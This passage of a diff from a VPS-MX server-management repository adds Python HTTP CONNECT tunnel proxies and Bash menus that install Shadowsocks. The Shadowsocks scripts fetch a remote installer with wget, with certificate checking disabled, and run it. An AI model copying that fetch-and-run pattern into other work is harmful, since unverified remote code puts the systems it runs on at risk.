+                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
+                except socket.error:
+                    
+                    self.close_origin(origin)
+                    raise
+                try:
+                    res = conn.getresponse(buffering=True)
+                except httplib.BadStatusLine as e:
+                    if e.line == "''":
+                        
+                        self.close_origin(origin)
+                        continue
+                    else:
+                        raise
+                resdata = res.read()
+                res.headers = res.msg    
+                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
+                    self.close_origin(origin)
+                else:
+                    self.reset_timer(origin)
+            return res, resdata
+
+    def lock_origin(self, origin):
+        d = self.conn_table.setdefault(origin, {})
+        if not 'lock' in d:
+            d['lock'] = Lock()
+        return d['lock']
+
+    def open_origin(self, origin):
+        conn = self.conn_table[origin].get('connection')
+        if not conn:
+            scheme, netloc = origin
+            if scheme == 'https':
+                conn = httplib.HTTPSConnection(netloc)
+            else:
+                conn = httplib.HTTPConnection(netloc)
+            self.reset_timer(origin)
+            self.conn_table[origin]['connection'] = conn
+        return conn
+
+    def reset_timer(self, origin):
+        timer = self.conn_table[origin].get('timer')
+        if timer:
+            timer.cancel()
+        if self.upstream_timeout:
+            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
+            timer.daemon = True
+            timer.start()
+        else:
+            timer = None
+        self.conn_table[origin]['timer'] = timer
+
+    def close_origin(self, origin):
+        timer = self.conn_table[origin]['timer']
+        if timer:
+            timer.cancel()
+        conn = self.conn_table[origin]['connection']
+        conn.close()
+        del self.conn_table[origin]['connection']
+
+    def remove_hop_by_hop_headers(self, headers):
+        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
+        connection = headers.get('Connection')
+        if connection:
+            keys = re.split(r',\s*', connection)
+            hop_by_hop_headers.extend(keys)
+
+        for k in hop_by_hop_headers:
+            if k in headers:
+                del headers[k]
+
+    def modify_via_header(self, headers):
+        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
+        via_string = re.sub(r'^HTTP/', '', via_string)
+
+        original = headers.get('Via')
+        if original:
+            headers['Via'] = original + ', ' + via_string
+        else:
+            headers['Via'] = via_string
+
+    def decode_content_body(self, data, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO(data)
+            with gzip.GzipFile(fileobj=io) as f:
+                body = f.read()
+        elif content_encoding == 'deflate':
+            body = zlib.decompress(data)
+        elif content_encoding == 'identity':
+            body = data
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return body
+
+    def encode_content_body(self, body, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO()
+            with gzip.GzipFile(fileobj=io, mode='wb') as f:
+                f.write(body)
+            data = io.getvalue()
+        elif content_encoding == 'deflate':
+            data = zlib.compress(body)
+        elif content_encoding == 'identity':
+            data = body
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return data
+
+    def split_set_cookie_header(self, value):
+        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
+        return re.findall(re_cookies, value, flags=re.IGNORECASE)
+
+    def request_handler(self, req, reqbody):
+        
+        pass
+
+    def response_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+    def save_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+
+# Port
+
+def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
+    if sys.argv[1:]:
+        port = int(sys.argv[1])
+    else:
+        port = 80
+    server_address = ('', port)
+
+    HandlerClass.protocol_version = protocol
+    httpd = ServerClass(server_address, HandlerClass)
+
+    sa = httpd.socket.getsockname()
+    print "Serving HTTP on", sa[0], "port", sa[1], "..."
+    httpd.serve_forever()
+
+
+if __name__ == '__main__':
+    test()
+

+ 335 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PPriv.py

@@ -0,0 +1,335 @@
+#!/usr/bin/env python
+
+# -*- coding: utf-8 -*-
+# Edit By GlEmYsSoN & @e8th4ever
+
+from pprint import pprint
+import sys
+import http.client
+from socketserver import ThreadingMixIn
+from http.server import HTTPServer, BaseHTTPRequestHandler
+from threading import Lock, Timer
+from io import StringIO
+from urllib.parse import urlsplit
+import socket
+import select
+import gzip
+import zlib
+import re
+import traceback
+import subprocess
+subprocess.call("clear",shell=True)
+
+if sys.argv[2:]:
+ msg1 = sys.argv[2]
+else:
+ msg1 = 'ADM-ULTIMATE'
+
+if sys.argv[3:]:
+ server = sys.argv[3]
+else:
+ server = "127.0.0.1"
+
+msg2 = 'Server Forbidden'
+
+class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
+
+    address_family = socket.AF_INET
+
+    def handle_error(self, request, client_address):
+        
+        print('-'*40, file=sys.stderr)
+        print('Exception happened during processing of request from', client_address, file=sys.stderr)
+        traceback.print_exc()
+        print('-'*40, file=sys.stderr)
+        
+     
+class ThreadingHTTPServer6(ThreadingHTTPServer):
+
+    address_family = socket.AF_INET6
+
+
+class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
+    global_lock = Lock()
+    conn_table = {}
+    timeout = 300               
+    upstream_timeout = 300    
+    proxy_via = None          
+
+    def log_error(self, format, *args):
+        if format == "Request timed out: %r":
+            return
+        self.log_message(format, *args)
+
+    def do_CONNECT(self):
+
+        req = self
+        reqbody = None
+        if ':22' in req.path:
+            hostip = req.path.replace(':22', '')
+        elif ':443' in req.path:
+            hostip = req.path.replace(':443', '')
+        req.path = "https://%s/" % req.path.replace(':443', '')
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+
+        u = urlsplit(req.path)
+        address = (u.hostname, u.port or 443)
+        try:
+            conn = socket.create_connection(address)
+        except socket.error:
+            return
+
+        self.send_response(200, msg1)
+        self.send_header('Connection', 'close')
+        self.end_headers()
+
+        conns = [self.connection, conn]
+        keep_connection = True
+        while keep_connection:
+            if not server.find(hostip) != -1:
+                self.send_error(403, msg2)
+                self.close_connection
+            keep_connection = False
+            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
+            if xlist:
+                break
+            for r in rlist:
+                other = conns[1] if r is conns[0] else conns[0]
+                data = r.recv(8192)
+                if data:
+                    other.sendall(data)
+                    keep_connection = True
+        conn.close()
+
+    def do_HEAD(self):
+        self.do_SPAM()
+
+    def do_GET(self):
+        self.do_SPAM()
+
+    def do_POST(self):
+        self.do_SPAM()
+
+    def do_SPAM(self):
+        req = self
+
+        content_length = int(req.headers.get('Content-Length', 0))
+        if content_length > 0:
+            reqbody = self.rfile.read(content_length)
+        else:
+            reqbody = None
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+        elif replaced_reqbody is not None:
+            reqbody = replaced_reqbody
+            if 'Content-Length' in req.headers:
+                req.headers['Content-Length'] = str(len(reqbody))
+
+        
+        self.remove_hop_by_hop_headers(req.headers)
+        if self.upstream_timeout:
+            req.headers['Connection'] = 'Keep-Alive'
+        else:
+            req.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(req.headers)
+
+        try:
+            res, resdata = self.request_to_upstream_server(req, reqbody)
+        except socket.error:
+            return
+
+        content_encoding = res.headers.get('Content-Encoding', 'identity')
+        resbody = self.decode_content_body(resdata, content_encoding)
+
+        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
+        if replaced_resbody is True:
+            return
+        elif replaced_resbody is not None:
+            resdata = self.encode_content_body(replaced_resbody, content_encoding)
+            if 'Content-Length' in res.headers:
+                res.headers['Content-Length'] = str(len(resdata))
+            resbody = replaced_resbody
+
+        self.remove_hop_by_hop_headers(res.headers)
+        if self.timeout:
+            res.headers['Connection'] = 'Keep-Alive'
+        else:
+            res.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(res.headers)
+
+        self.send_response(res.status, res.reason)
+        for k, v in list(res.headers.items()):
+            if k == 'set-cookie':
+                
+                for value in self.split_set_cookie_header(v):
+                    self.send_header(k, value)
+            else:
+                self.send_header(k, v)
+        self.end_headers()
+
+        if self.command != 'HEAD':
+            self.wfile.write(resdata)
+            with self.global_lock:
+                self.save_handler(req, reqbody, res, resbody)
+
+    def request_to_upstream_server(self, req, reqbody):
+        u = urlsplit(req.path)
+
+        origin = (u.scheme, u.netloc)
+
+        
+        req.headers['Host'] = u.netloc
+        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
+
+        while True:
+            with self.lock_origin(origin):
+                conn = self.open_origin(origin)
+                try:
+                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
+                except socket.error:
+                    
+                    self.close_origin(origin)
+                    raise
+                try:
+                    res = conn.getresponse(buffering=True)
+                except http.client.BadStatusLine as e:
+                    if e.line == "''":
+                        
+                        self.close_origin(origin)
+                        continue
+                    else:
+                        raise
+                resdata = res.read()
+                res.headers = res.msg    
+                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
+                    self.close_origin(origin)
+                else:
+                    self.reset_timer(origin)
+            return res, resdata
+
+    def lock_origin(self, origin):
+        d = self.conn_table.setdefault(origin, {})
+        if not 'lock' in d:
+            d['lock'] = Lock()
+        return d['lock']
+
+    def open_origin(self, origin):
+        conn = self.conn_table[origin].get('connection')
+        if not conn:
+            scheme, netloc = origin
+            if scheme == 'https':
+                conn = http.client.HTTPSConnection(netloc)
+            else:
+                conn = http.client.HTTPConnection(netloc)
+            self.reset_timer(origin)
+            self.conn_table[origin]['connection'] = conn
+        return conn
+
+    def reset_timer(self, origin):
+        timer = self.conn_table[origin].get('timer')
+        if timer:
+            timer.cancel()
+        if self.upstream_timeout:
+            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
+            timer.daemon = True
+            timer.start()
+        else:
+            timer = None
+        self.conn_table[origin]['timer'] = timer
+
+    def close_origin(self, origin):
+        timer = self.conn_table[origin]['timer']
+        if timer:
+            timer.cancel()
+        conn = self.conn_table[origin]['connection']
+        conn.close()
+        del self.conn_table[origin]['connection']
+
+    def remove_hop_by_hop_headers(self, headers):
+        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
+        connection = headers.get('Connection')
+        if connection:
+            keys = re.split(r',\s*', connection)
+            hop_by_hop_headers.extend(keys)
+
+        for k in hop_by_hop_headers:
+            if k in headers:
+                del headers[k]
+
+    def modify_via_header(self, headers):
+        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
+        via_string = re.sub(r'^HTTP/', '', via_string)
+
+        original = headers.get('Via')
+        if original:
+            headers['Via'] = original + ', ' + via_string
+        else:
+            headers['Via'] = via_string
+
+    def decode_content_body(self, data, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO(data)
+            with gzip.GzipFile(fileobj=io) as f:
+                body = f.read()
+        elif content_encoding == 'deflate':
+            body = zlib.decompress(data)
+        elif content_encoding == 'identity':
+            body = data
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return body
+
+    def encode_content_body(self, body, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO()
+            with gzip.GzipFile(fileobj=io, mode='wb') as f:
+                f.write(body)
+            data = io.getvalue()
+        elif content_encoding == 'deflate':
+            data = zlib.compress(body)
+        elif content_encoding == 'identity':
+            data = body
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return data
+
+    def split_set_cookie_header(self, value):
+        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
+        return re.findall(re_cookies, value, flags=re.IGNORECASE)
+
+    def request_handler(self, req, reqbody):
+        
+        pass
+
+    def response_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+    def save_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+
+
+
+def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
+    port = int(sys.argv[1])
+    server_address = ('', port)
+
+    HandlerClass.protocol_version = protocol
+    httpd = ServerClass(server_address, HandlerClass)
+
+    sa = httpd.socket.getsockname()
+    print("Servidor: " + str(sa[0]) + " Porta " + str(sa[1]))
+    httpd.serve_forever()
+
+
+if __name__ == '__main__':
+    test()

+ 318 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PPub.py

@@ -0,0 +1,318 @@
+#!/usr/bin/env python
+
+import sys
+import httplib
+from SocketServer import ThreadingMixIn
+from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
+from threading import Lock, Timer
+from cStringIO import StringIO
+from urlparse import urlsplit
+import socket
+import select
+import gzip
+import zlib
+import re
+import traceback
+
+if sys.argv[2:]:
+ msg1 = sys.argv[2]
+else:
+ msg1 = "ADM-ULTIMATE"
+
+
+class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
+
+    address_family = socket.AF_INET
+
+    def handle_error(self, request, client_address):
+        
+        print >>sys.stderr, '-'*40
+        print >>sys.stderr, 'Exception happened during processing of request from', client_address
+        traceback.print_exc()
+        print >>sys.stderr, '-'*40
+        
+     
+class ThreadingHTTPServer6(ThreadingHTTPServer):
+
+    address_family = socket.AF_INET6
+
+
+class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
+    global_lock = Lock()
+    conn_table = {}
+    timeout = 300               
+    upstream_timeout = 300    
+    proxy_via = None          
+
+    def log_error(self, format, *args):
+        if format == "Request timed out: %r":
+            return
+        self.log_message(format, *args)
+
+    def do_CONNECT(self):
+        
+
+        req = self
+        reqbody = None
+        req.path = "https://%s/" % req.path.replace(':443', '')
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+
+        u = urlsplit(req.path)
+        address = (u.hostname, u.port or 443)
+        try:
+            conn = socket.create_connection(address)
+        except socket.error:
+            return
+        self.send_response(200, msg1)
+        self.send_header('Connection', 'close')
+        self.end_headers()
+
+        conns = [self.connection, conn] 
+        keep_connection = True
+        while keep_connection:
+            keep_connection = False
+            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
+            if xlist:
+                break
+            for r in rlist:
+                other = conns[1] if r is conns[0] else conns[0]
+                data = r.recv(8192)
+                if data:
+                    other.sendall(data)
+                    keep_connection = True
+        conn.close()
+
+    def do_HEAD(self):
+        self.do_SPAM()
+
+    def do_GET(self):
+        self.do_SPAM()
+
+    def do_POST(self):
+        self.do_SPAM()
+
+    def do_SPAM(self):
+        req = self
+        content_length = int(req.headers.get('Content-Length', 0))
+        if content_length > 0:
+            reqbody = self.rfile.read(content_length)
+        else:
+            reqbody = None
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+        elif replaced_reqbody is not None:
+            reqbody = replaced_reqbody
+            if 'Content-Length' in req.headers:
+                req.headers['Content-Length'] = str(len(reqbody))
+
+        
+        self.remove_hop_by_hop_headers(req.headers)
+        if self.upstream_timeout:
+            req.headers['Connection'] = 'Keep-Alive'
+        else:
+            req.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(req.headers)
+
+        try:
+            res, resdata = self.request_to_upstream_server(req, reqbody)
+        except socket.error:
+            return
+
+        content_encoding = res.headers.get('Content-Encoding', 'identity')
+        resbody = self.decode_content_body(resdata, content_encoding)
+
+        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
+        if replaced_resbody is True:
+            return
+        elif replaced_resbody is not None:
+            resdata = self.encode_content_body(replaced_resbody, content_encoding)
+            if 'Content-Length' in res.headers:
+                res.headers['Content-Length'] = str(len(resdata))
+            resbody = replaced_resbody
+
+        self.remove_hop_by_hop_headers(res.headers)
+        if self.timeout:
+            res.headers['Connection'] = 'Keep-Alive'
+        else:
+            res.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(res.headers)
+
+        self.send_response(res.status, res.reason)
+        for k, v in res.headers.items():
+            if k == 'set-cookie':
+                
+                for value in self.split_set_cookie_header(v):
+                    self.send_header(k, value)
+            else:
+                self.send_header(k, v)
+        self.end_headers()
+
+        if self.command != 'HEAD':
+            self.wfile.write(resdata)
+            with self.global_lock:
+                self.save_handler(req, reqbody, res, resbody)
+
+    def request_to_upstream_server(self, req, reqbody):
+        u = urlsplit(req.path)
+        origin = (u.scheme, u.netloc)
+
+        
+        req.headers['Host'] = u.netloc
+        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
+
+        while True:
+            with self.lock_origin(origin):
+                conn = self.open_origin(origin)
+                try:
+                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
+                except socket.error:
+                    
+                    self.close_origin(origin)
+                    raise
+                try:
+                    res = conn.getresponse(buffering=True)
+                except httplib.BadStatusLine as e:
+                    if e.line == "''":
+                        
+                        self.close_origin(origin)
+                        continue
+                    else:
+                        raise
+                resdata = res.read()
+                res.headers = res.msg    
+                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
+                    self.close_origin(origin)
+                else:
+                    self.reset_timer(origin)
+            return res, resdata
+
+    def lock_origin(self, origin):
+        d = self.conn_table.setdefault(origin, {})
+        if not 'lock' in d:
+            d['lock'] = Lock()
+        return d['lock']
+
+    def open_origin(self, origin):
+        conn = self.conn_table[origin].get('connection')
+        if not conn:
+            scheme, netloc = origin
+            if scheme == 'https':
+                conn = httplib.HTTPSConnection(netloc)
+            else:
+                conn = httplib.HTTPConnection(netloc)
+            self.reset_timer(origin)
+            self.conn_table[origin]['connection'] = conn
+        return conn
+
+    def reset_timer(self, origin):
+        timer = self.conn_table[origin].get('timer')
+        if timer:
+            timer.cancel()
+        if self.upstream_timeout:
+            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
+            timer.daemon = True
+            timer.start()
+        else:
+            timer = None
+        self.conn_table[origin]['timer'] = timer
+
+    def close_origin(self, origin):
+        timer = self.conn_table[origin]['timer']
+        if timer:
+            timer.cancel()
+        conn = self.conn_table[origin]['connection']
+        conn.close()
+        del self.conn_table[origin]['connection']
+
+    def remove_hop_by_hop_headers(self, headers):
+        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
+        connection = headers.get('Connection')
+        if connection:
+            keys = re.split(r',\s*', connection)
+            hop_by_hop_headers.extend(keys)
+
+        for k in hop_by_hop_headers:
+            if k in headers:
+                del headers[k]
+
+    def modify_via_header(self, headers):
+        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
+        via_string = re.sub(r'^HTTP/', '', via_string)
+
+        original = headers.get('Via')
+        if original:
+            headers['Via'] = original + ', ' + via_string
+        else:
+            headers['Via'] = via_string
+
+    def decode_content_body(self, data, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO(data)
+            with gzip.GzipFile(fileobj=io) as f:
+                body = f.read()
+        elif content_encoding == 'deflate':
+            body = zlib.decompress(data)
+        elif content_encoding == 'identity':
+            body = data
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return body
+
+    def encode_content_body(self, body, content_encoding):
+        if content_encoding in ('gzip', 'x-gzip'):
+            io = StringIO()
+            with gzip.GzipFile(fileobj=io, mode='wb') as f:
+                f.write(body)
+            data = io.getvalue()
+        elif content_encoding == 'deflate':
+            data = zlib.compress(body)
+        elif content_encoding == 'identity':
+            data = body
+        else:
+            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
+        return data
+
+    def split_set_cookie_header(self, value):
+        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
+        return re.findall(re_cookies, value, flags=re.IGNORECASE)
+
+    def request_handler(self, req, reqbody):
+        
+        pass
+
+    def response_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+    def save_handler(self, req, reqbody, res, resbody):
+     
+        pass
+
+
+
+
+def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
+    if sys.argv[1:]:
+        port = int(sys.argv[1])
+    else:
+        port = 8799
+    server_address = ('', port)
+
+    HandlerClass.protocol_version = protocol
+    httpd = ServerClass(server_address, HandlerClass)
+
+    sa = httpd.socket.getsockname()
+    print "Serving HTTP on", sa[0], "port", sa[1], "..."
+    httpd.serve_forever()
+
+
+if __name__ == '__main__':
+    test()
+

+ 115 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/Shadowsocks-R.sh

@@ -0,0 +1,115 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+fun_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
+    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
+    msg -bar
+    read -p " [S/N]: " -e -i n sshsn
+           [[ "$sshsn" = @(s|S|y|Y) ]] && {
+           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
+           echo -ne "[ 1 - 999999999 ]: "; read rx
+           [[ "$rx" = "" ]] && rx="999999999"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
+           echo -ne "[ 1 - 999999999 ]: "; read tx
+           [[ "$tx" = "" ]] && tx="999999999"
+           apt-get install ethtool -y > /dev/null 2>&1
+           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+           }
+     msg -bar
+     }
+}
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<10; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+fun_shadowsocks () {
+[[ -e /etc/shadowsocks-r/config.json ]] && {
+[[ $(ps ax|grep /etc/shadowsocks-r|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps ax|grep /etc/shadowsocks-r|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ss-server -c /etc/shadowsocks-r/config.json -d stop > /dev/null 2>&1
+echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS R PARADO")"
+msg -bar
+rm -rf /etc/shadowsocks-r/config.json
+return 0
+}
+msg -bar
+msg -tit
+echo -e "${cor[3]}    INSTALADOR SHADOWSOCK-R+(obfs) By @Kalix1"
+msg -bar
+echo -e "${cor[1]} Escoja la opcion deseada."
+msg -bar
+echo "1).- INSTALAR SHADOWSOCK-R"
+echo "2).- DESINSTALAR SHADOWSOCK-R"
+msg -bar
+echo -n "Digite solo el numero segun su respuesta: "
+read opcao
+case $opcao in
+1)
+msg -bar
+wget --no-check-certificate -O Instalador-Shadowsocks-R.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh > /dev/null 2>&1
+chmod +x Instalador-Shadowsocks-R.sh
+./Instalador-Shadowsocks-R.sh 2>&1 
+
+;;
+2)
+msg -bar
+echo -e "\033[1;93m  Desinstalar  ..."
+msg -bar
+wget --no-check-certificate -O Instalador-Shadowsocks-R.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh > /dev/null 2>&1
+chmod +x Instalador-Shadowsocks-R.sh
+./Instalador-Shadowsocks-R.sh uninstall
+rm -rf Instalador-Shadowsocks-R.sh
+msg -bar
+sleep 3
+exit
+;;
+esac
+value=$(ps ax |grep /etc/shadowsocks-r|grep -v grep)
+[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
+msg -bar
+echo -e "${value}"
+msg -bar
+return 0
+}
+fun_shadowsocks
+rm -rf Instalador-Shadowsocks-R.sh

+ 116 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/Shadowsocks-libev.sh

@@ -0,0 +1,116 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+fun_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
+    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
+    msg -bar
+    read -p " [S/N]: " -e -i n sshsn
+           [[ "$sshsn" = @(s|S|y|Y) ]] && {
+           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
+           echo -ne "[ 1 - 999999999 ]: "; read rx
+           [[ "$rx" = "" ]] && rx="999999999"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
+           echo -ne "[ 1 - 999999999 ]: "; read tx
+           [[ "$tx" = "" ]] && tx="999999999"
+           apt-get install ethtool -y > /dev/null 2>&1
+           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+           }
+     msg -bar
+     }
+}
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<10; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+fun_shadowsocks () {
+[[ -e /etc/shadowsocks-libev/config.json ]] && {
+[[ $(ps ax|grep ss-server|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps ax|grep ss-server|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ss-server -c /etc/shadowsocks-libev/config.json -d stop > /dev/null 2>&1
+echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS PLUS PARADO")"
+msg -bar
+rm /etc/shadowsocks-libev/config.json
+return 0
+}
+msg -bar
+msg -tit
+echo -e "${cor[3]}  INSTALADOR SHADOWSOCK-LIBEV+(obfs) By @Kalix1"
+msg -bar
+echo -e "${cor[1]} Escoja la opcion deseada."
+msg -bar
+echo "1).- INSTALAR SHADOWSOCK-LIBEV"
+echo "2).- DESINSTALAR SHADOWSOCK-LIBEV"
+msg -bar
+echo -n "Digite solo el numero segun su respuesta: "
+read opcao
+case $opcao in
+1)
+msg -bar
